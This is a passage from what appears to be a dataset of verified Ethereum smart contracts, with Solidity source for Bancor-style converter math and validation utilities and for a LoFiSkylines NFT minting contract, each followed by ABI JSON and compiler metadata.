uint256 _scale
) internal pure returns (uint256, uint256) {
if (_a <= _b) {
return accurateRatio(_a, _b, _scale);
}
(uint256 y, uint256 x) = accurateRatio(_b, _a, _scale);
return (x, y);
}
/**
* @dev computes "scale * a / (a + b)" and "scale * b / (a + b)", assuming that "a <= b".
*/
function accurateRatio(
uint256 _a,
uint256 _b,
uint256 _scale
) internal pure returns (uint256, uint256) {
uint256 maxVal = uint256(-1) / _scale;
if (_a > maxVal) {
uint256 c = _a / (maxVal + 1) + 1;
_a /= c; // we can now safely compute `_a * _scale`
_b /= c;
}
if (_a != _b) {
uint256 n = _a * _scale;
uint256 d = _a + _b; // can overflow
if (d >= _a) {
// no overflow in `_a + _b`
uint256 x = roundDiv(n, d); // we can now safely compute `_scale - x`
uint256 y = _scale - x;
return (x, y);
}
if (n < _b - (_b - _a) / 2) {
return (0, _scale); // `_a * _scale < (_a + _b) / 2 < MAX_UINT256 < _a + _b`
}
return (1, _scale - 1); // `(_a + _b) / 2 < _a * _scale < MAX_UINT256 < _a + _b`
}
return (_scale / 2, _scale / 2); // allow reduction to `(1, 1)` in the calling function
}
/**
* @dev computes the nearest integer to a given quotient without overflowing or underflowing.
*/
function roundDiv(uint256 _n, uint256 _d) internal pure returns (uint256) {
return _n / _d + (_n % _d) / (_d - _d / 2);
}
/**
* @dev returns the average number of decimal digits in a given list of positive integers
*
* @param _values list of positive integers
*
* @return the average number of decimal digits in the given list of positive integers
*/
function geometricMean(uint256[] memory _values) internal pure returns (uint256) {
uint256 numOfDigits = 0;
uint256 length = _values.length;
for (uint256 i = 0; i < length; i++) {
numOfDigits += decimalLength(_values[i]);
}
return uint256(10)**(roundDivUnsafe(numOfDigits, length) - 1);
}
/**
* @dev returns the number of decimal digits in a given positive integer
*
* @param _x positive integer
*
* @return the number of decimal digits in the given positive integer
*/
function decimalLength(uint256 _x) internal pure returns (uint256) {
uint256 y = 0;
for (uint256 x = _x; x > 0; x /= 10) {
y++;
}
return y;
}
/**
* @dev returns the nearest integer to a given quotient
* the computation is overflow-safe assuming that the input is sufficiently small
*
* @param _n quotient numerator
* @param _d quotient denominator
*
* @return the nearest integer to the given quotient
*/
function roundDivUnsafe(uint256 _n, uint256 _d) internal pure returns (uint256) {
return (_n + _d / 2) / _d;
}
/**
* @dev returns the larger of two values
*
* @param _val1 the first value
* @param _val2 the second value
*/
function max(uint256 _val1, uint256 _val2) internal pure returns (uint256) {
return _val1 > _val2 ? _val1 : _val2;
}
} | [{"inputs":[{"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"internalType":"contract IContractRegistry","name":"_registry","type":"address"},{"internalType":"uint32","name":"_maxConversionFee","type":"uint32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint16","name":"_type","type":"uint16"},{"indexed":true,"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"indexed":true,"internalType":"bool","name":"_activated","type":"bool"}],"name":"Activation","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract IERC20","name":"_fromToken","type":"address"},{"indexed":true,"internalType":"contract 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IERC20","name":"_reserveToken","type":"address"}],"name":"reserveWeight","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"restoreRegistry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_onlyOwnerCanUpdateRegistry","type":"bool"}],"name":"restrictRegistryUpdate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"_conversionFee","type":"uint32"}],"name":"setConversionFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_sourceToken","type":"address"},{"internalType":"contract IERC20","name":"_targetToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sourceAmountAndFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"syncReserveBalances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_sourceToken","type":"address"},{"internalType":"contract IERC20","name":"_targetToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"targetAmountAndFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"contract IConverterAnchor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferAnchorOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newConverter","type":"address"}],"name":"transferReservesOnUpgrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferTokenOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"updateRegistry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.6.12+commit.27d51765 | true | 200 | 000000000000000000000000dbd62d3c1405d28c57f51c823d9d14f3f4a54e2000000000000000000000000052ae12abe5d8bd778bd5397f99ca900624cfadd400000000000000000000000000000000000000000000000000000000000003e8 | Default | false | ||||
StandardPoolConverter | solidity/contracts/utility/Utils.sol | 0xe9db9908a2aa69753a5ed89827b35a2b827d87ea | Solidity | pragma solidity 0.6.12;
/**
* @dev Utilities & Common Modifiers
*/
contract Utils {
uint32 internal constant PPM_RESOLUTION = 1000000;
IERC20 internal constant NATIVE_TOKEN_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE);
// verifies that a value is greater than zero
modifier greaterThanZero(uint256 _value) {
_greaterThanZero(_value);
_;
}
// error message binary size optimization
function _greaterThanZero(uint256 _value) internal pure {
require(_value > 0, "ERR_ZERO_VALUE");
}
// validates an address - currently only checks that it isn't null
modifier validAddress(address _address) {
_validAddress(_address);
_;
}
// error message binary size optimization
function _validAddress(address _address) internal pure {
require(_address != address(0), "ERR_INVALID_ADDRESS");
}
// ensures that the portion is valid
modifier validPortion(uint32 _portion) {
_validPortion(_portion);
_;
}
// error message binary size optimization
function _validPortion(uint32 _portion) internal pure {
require(_portion > 0 && _portion <= PPM_RESOLUTION, "ERR_INVALID_PORTION");
}
// validates an external address - currently only checks that it isn't null or this
modifier validExternalAddress(address _address) {
_validExternalAddress(_address);
_;
}
// error message binary size optimization
function _validExternalAddress(address _address) internal view {
require(_address != address(0) && _address != address(this), "ERR_INVALID_EXTERNAL_ADDRESS");
}
// ensures that the fee is valid
modifier validFee(uint32 fee) {
_validFee(fee);
_;
}
// error message binary size optimization
function _validFee(uint32 fee) internal pure {
require(fee <= PPM_RESOLUTION, "ERR_INVALID_FEE");
}
} | [{"inputs":[{"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"internalType":"contract IContractRegistry","name":"_registry","type":"address"},{"internalType":"uint32","name":"_maxConversionFee","type":"uint32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint16","name":"_type","type":"uint16"},{"indexed":true,"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"indexed":true,"internalType":"bool","name":"_activated","type":"bool"}],"name":"Activation","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract IERC20","name":"_fromToken","type":"address"},{"indexed":true,"internalType":"contract IERC20","name":"_toToken","type":"address"},{"indexed":true,"internalType":"address","name":"_trader","type":"address"},{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_return","type":"uint256"},{"indexed":false,"internalType":"int256","name":"_conversionFee","type":"int256"}],"name":"Conversion","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint32","name":"_prevFee","type":"uint32"},{"indexed":false,"internalType":"uint32","name":"_newFee","type":"uint32"}],"name":"ConversionFeeUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_provider","type":"address"},{"indexed":true,"internalType":"contract IERC20","name":"_reserveToken","type":"address"},{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_newBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_newSupply","type":"uint256"}],"name":"LiquidityAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_provider","type":"address"},{"indexed":true,"internalType":"contract IERC20","name":"_reserveToken","type":"address"},{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_newBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_newSupply","type":"uint256"}],"name":"LiquidityRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_prevOwner","type":"address"},{"indexed":true,"internalType":"address","name":"_newOwner","type":"address"}],"name":"OwnerUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract IERC20","name":"_token1","type":"address"},{"indexed":true,"internalType":"contract IERC20","name":"_token2","type":"address"},{"indexed":false,"internalType":"uint256","name":"_rateN","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_rateD","type":"uint256"}],"name":"TokenRateUpdate","type":"event"},{"inputs":[],"name":"acceptAnchorOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"acceptOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"acceptTokenOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256[]","name":"_reserveAmounts","type":"uint256[]"},{"internalType":"uint256","name":"_minReturn","type":"uint256"}],"name":"addLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"contract IERC20[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256","name":"_reserveTokenIndex","type":"uint256"},{"internalType":"uint256","name":"_reserveAmount","type":"uint256"}],"name":"addLiquidityCost","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256[]","name":"_reserveAmounts","type":"uint256[]"}],"name":"addLiquidityReturn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_token","type":"address"},{"internalType":"uint32","name":"_weight","type":"uint32"}],"name":"addReserve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"anchor","outputs":[{"internalType":"contract IConverterAnchor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"averageRateInfo","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"connectorTokenCount","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"}],"name":"connectorTokens","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_address","type":"address"}],"name":"connectors","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint32","name":"","type":"uint32"},{"internalType":"bool","name":"","type":"bool"},{"internalType":"bool","name":"","type":"bool"},{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"conversionFee","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_sourceToken","type":"address"},{"internalType":"contract IERC20","name":"_targetToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_trader","type":"address"},{"internalType":"address payable","name":"_beneficiary","type":"address"}],"name":"convert","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"converterType","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_connectorToken","type":"address"}],"name":"getConnectorBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_sourceToken","type":"address"},{"internalType":"contract IERC20","name":"_targetToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"getReturn","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isV28OrHigher","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"maxConversionFee","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"newOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"onUpgradeComplete","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"onlyOwnerCanUpdateRegistry","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"prevRegistry","outputs":[{"internalType":"contract IContractRegistry","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"processNetworkFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_token","type":"address"}],"name":"recentAverageRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"registry","outputs":[{"internalType":"contract IContractRegistry","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"contract IERC20[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256[]","name":"_reserveMinReturnAmounts","type":"uint256[]"}],"name":"removeLiquidity","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"contract IERC20[]","name":"_reserveTokens","type":"address[]"}],"name":"removeLiquidityReturn","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_reserveToken","type":"address"}],"name":"reserveBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reserveBalances","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reserveTokenCount","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reserveTokens","outputs":[{"internalType":"contract IERC20[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_reserveToken","type":"address"}],"name":"reserveWeight","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"restoreRegistry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_onlyOwnerCanUpdateRegistry","type":"bool"}],"name":"restrictRegistryUpdate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"_conversionFee","type":"uint32"}],"name":"setConversionFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_sourceToken","type":"address"},{"internalType":"contract IERC20","name":"_targetToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sourceAmountAndFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"syncReserveBalances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_sourceToken","type":"address"},{"internalType":"contract IERC20","name":"_targetToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"targetAmountAndFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"contract IConverterAnchor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferAnchorOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newConverter","type":"address"}],"name":"transferReservesOnUpgrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferTokenOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"updateRegistry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.6.12+commit.27d51765 | true | 200 | 000000000000000000000000dbd62d3c1405d28c57f51c823d9d14f3f4a54e2000000000000000000000000052ae12abe5d8bd778bd5397f99ca900624cfadd400000000000000000000000000000000000000000000000000000000000003e8 | Default | false | ||||
LoFiSkylines | LoFiSkylines.sol | 0xf7c2df4db0ab7a1d4fc524a910b6a18eb108a960 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract LoFiSkylines is ERC721Enumerable, Ownable, ReentrancyGuard {
using SafeMath for uint256;
using Counters for Counters.Counter;
uint256 public max_supply = 3333;
string private _contractURI;
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
string animationCode;
string animationURI;
address payable admin;
ProxyRegistry private _proxyRegistry;
Counters.Counter private _tokenIds;
mapping(uint256 => bytes32) bHash;
modifier onlyAdmin() {
require(admin == msg.sender, "Only Owner allowed");
_;
}
constructor(
string memory _name,
string memory _symbol,
address payable _admin,
string memory _animationURI,
address openseaProxyRegistry_
) ERC721(_name, _symbol) {
admin = _admin;
animationURI = _animationURI;
if (address(0) != openseaProxyRegistry_) {
_setOpenSeaRegistry(openseaProxyRegistry_);
}
}
function mint(uint256 _amount) public payable nonReentrant {
require(
uint256(100000000000000000).mul(_amount) == msg.value,
"Invalid value"
);
require(_amount <= 20, "Cannot mint more than 20 at a time");
require(
_tokenIds.current().add(_amount) <= max_supply,
"Mint exceeds max supply"
);
for (uint256 i = 0; i < _amount; i++) {
_tokenIds.increment();
uint256 newNftTokenId = _tokenIds.current();
_mint(msg.sender, newNftTokenId);
bHash[newNftTokenId] = bytes32(
keccak256(abi.encodePacked(address(msg.sender), newNftTokenId))
);
}
}
function setAnimationCode(string memory newAnimationCode) public onlyAdmin {
animationCode = newAnimationCode;
}
function setAnimationURI(string memory newAnimationURI) public onlyAdmin {
animationURI = newAnimationURI;
}
function tokenURI(uint256 _tokenId)
public
view
virtual
override
returns (string memory)
{
require(_exists(_tokenId), "Token does not exist");
string memory seed = bytes32ToString(bHash[_tokenId]);
string memory baseColor = strSlice(59, 64, seed);
string memory fg = baseColor;
string memory bg = getBG(baseColor);
return
string(
abi.encodePacked(
'data:application/json;utf8,{"name":"',
uint2str(_tokenId),
'","animation_url":"',
animationURL(_tokenId, seed),
'","image_data":"',
baseImg(fg, bg),
'"}'
)
);
}
function animationURL(uint256 _tokenId, string memory _seed)
internal
view
returns (string memory)
{
return string(abi.encodePacked(animationURI, _seed));
}
function baseImg(string memory fg, string memory bg)
public
view
returns (string memory)
{
return
string(
abi.encodePacked(
"<svg xmlns='http://www.w3.org/2000/svg' width='512px' height='512px'>",
"<rect width='100%' height='100%' fill='",
bg,
"'/>",
"<text x='194' y='224' font-size='64' fill='#",
fg,
"'>LoFi</text>",
"<text x='134' y='288' font-size='64' fill='#",
fg,
"'>SkyLines</text>",
"<rect x='20' y='256' width='50' height='512' fill-opacity='0' stroke='#",
fg,
"'/>",
"<rect x='100' y='325' width='50' height='512' fill-opacity='0' stroke='#",
fg,
"'/>",
"<rect x='175' y='450' width='50' height='512' fill-opacity='0' stroke='#",
fg,
"'/>",
"<rect x='250' y='400' width='50' height='512' fill-opacity='0' stroke='#",
fg,
"'/>",
"<rect x='325' y='475' width='50' height='512' fill-opacity='0' stroke='#",
fg,
"'/>",
"<rect x='400' y='275' width='50' height='512' fill-opacity='0' stroke='#",
fg,
"'/>",
"<rect x='475' y='375' width='50' height='512' fill-opacity='0' stroke='#",
fg,
"'/>",
"</svg>"
)
);
}
function getBG(string memory _seedColor)
internal
pure
returns (string memory)
{
string memory s1 = strSlice(1, 2, _seedColor);
string memory s2 = strSlice(3, 4, _seedColor);
string memory s3 = strSlice(5, 6, _seedColor);
uint256 ss1 = fromHex(s1);
uint256 ss2 = fromHex(s2);
uint256 ss3 = fromHex(s3);
uint256 i1 = ss1 ^ uint256(255);
uint256 i2 = ss2 ^ uint256(255);
uint256 i3 = ss3 ^ uint256(255);
return
string(
abi.encodePacked(
"#",
toHexString(i1),
toHexString(i2),
toHexString(i3)
)
);
}
function withdraw(uint256 amount) external payable onlyAdmin {
require(amount <= address(this).balance);
admin.transfer(amount);
}
function uint2str(uint256 _i)
internal
pure
returns (string memory _uintAsString)
{
if (_i == 0) {
return "0";
}
uint256 j = _i;
uint256 len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint256 k = len;
while (_i != 0) {
k = k - 1;
uint8 temp = (48 + uint8(_i - (_i / 10) * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
function bytes32ToString(bytes32 _bytes32)
public
pure
returns (string memory)
{
uint8 i = 0;
bytes memory bytesArray = new bytes(64);
for (i = 0; i < bytesArray.length; i++) {
uint8 _f = uint8(_bytes32[i / 2] & 0x0f);
uint8 _l = uint8(_bytes32[i / 2] >> 4);
bytesArray[i] = toByte(_f);
i = i + 1;
bytesArray[i] = toByte(_l);
}
return string(bytesArray);
}
function toByte(uint8 _uint8) public pure returns (bytes1) {
if (_uint8 < 10) {
return bytes1(_uint8 + 48);
} else {
return bytes1(_uint8 + 87);
}
}
function strSlice(
uint256 begin,
uint256 end,
string memory text
) public pure returns (string memory) {
bytes memory a = new bytes(end - begin + 1);
for (uint256 i = 0; i <= end - begin; i++) {
a[i] = bytes(text)[i + begin - 1];
}
return string(a);
}
function fromHexChar(uint8 c) public pure returns (uint8) {
if (bytes1(c) >= bytes1("0") && bytes1(c) <= bytes1("9")) {
return c - uint8(bytes1("0"));
}
if (bytes1(c) >= bytes1("a") && bytes1(c) <= bytes1("f")) {
return 10 + c - uint8(bytes1("a"));
}
if (bytes1(c) >= bytes1("A") && bytes1(c) <= bytes1("F")) {
return 10 + c - uint8(bytes1("A"));
}
}
function fromHex(string memory s) public pure returns (uint256) {
bytes memory ss = bytes(s);
require(ss.length % 2 == 0);
bytes memory r = new bytes(ss.length / 2);
uint256 total;
for (uint256 i = 0; i < ss.length / 2; ++i) {
total += (fromHexChar(uint8(ss[2 * i])) *
16 +
fromHexChar(uint8(ss[2 * i + 1])));
}
return total;
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length)
internal
pure
returns (string memory)
{
bytes memory buffer = new bytes(2 * length + 2);
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
/// @notice Returns the contract URI function. Used on OpenSea to get details
// about a contract (owner, royalties etc...)
function contractURI() public view returns (string memory) {
return _contractURI;
}
/// @notice Helper for OpenSea gas-less trading
/// @dev Allows to check if `operator` is owner's OpenSea proxy
/// @param owner the owner we check for
/// @param operator the operator (proxy) we check for
function isOwnersOpenSeaProxy(address owner, address operator)
public
view
returns (bool)
{
ProxyRegistry proxyRegistry = _proxyRegistry;
return
// we have a proxy registry address
address(proxyRegistry) != address(0) &&
// current operator is owner's proxy address
address(proxyRegistry.proxies(owner)) == operator;
}
/// @dev Internal function to set the _contractURI
/// @param contractURI_ the new contract uri
function _setContractURI(string memory contractURI_) internal {
_contractURI = contractURI_;
}
/// @dev Internal function to set the _proxyRegistry
/// @param proxyRegistryAddress the new proxy registry address
function _setOpenSeaRegistry(address proxyRegistryAddress) internal {
_proxyRegistry = ProxyRegistry(proxyRegistryAddress);
}
/// @notice Allows gas-less trading on OpenSea by safelisting the Proxy of the user
/// @dev Override isApprovedForAll to check first if current operator is owner's OpenSea proxy
/// @inheritdoc ERC721
function isApprovedForAll(address owner, address operator)
public
view
virtual
override
returns (bool)
{
// allows gas less trading on OpenSea
if (isOwnersOpenSeaProxy(owner, operator)) {
return true;
}
return super.isApprovedForAll(owner, operator);
}
/// @dev Internal function to set the _proxyRegistry
/// @param proxyRegistryAddress the new proxy registry address
function setOpenSeaRegistry(address proxyRegistryAddress)
external
onlyAdmin
{
_proxyRegistry = ProxyRegistry(proxyRegistryAddress);
}
/// @notice Helper for the owner of the contract to set the new contract URI
/// @dev needs to be owner
/// @param contractURI_ new contract URI
function setContractURI(string memory contractURI_) external onlyOwner {
_setContractURI(contractURI_);
}
}
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
} | [{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"address payable","name":"_admin","type":"address"},{"internalType":"string","name":"_animationURI","type":"string"},{"internalType":"address","name":"openseaProxyRegistry_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"fg","type":"string"},{"internalType":"string","name":"bg","type":"string"}],"name":"baseImg","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_bytes32","type":"bytes32"}],"name":"bytes32ToString","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"contractURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"string","name":"s","type":"string"}],"name":"fromHex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint8","name":"c","type":"uint8"}],"name":"fromHexChar","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs"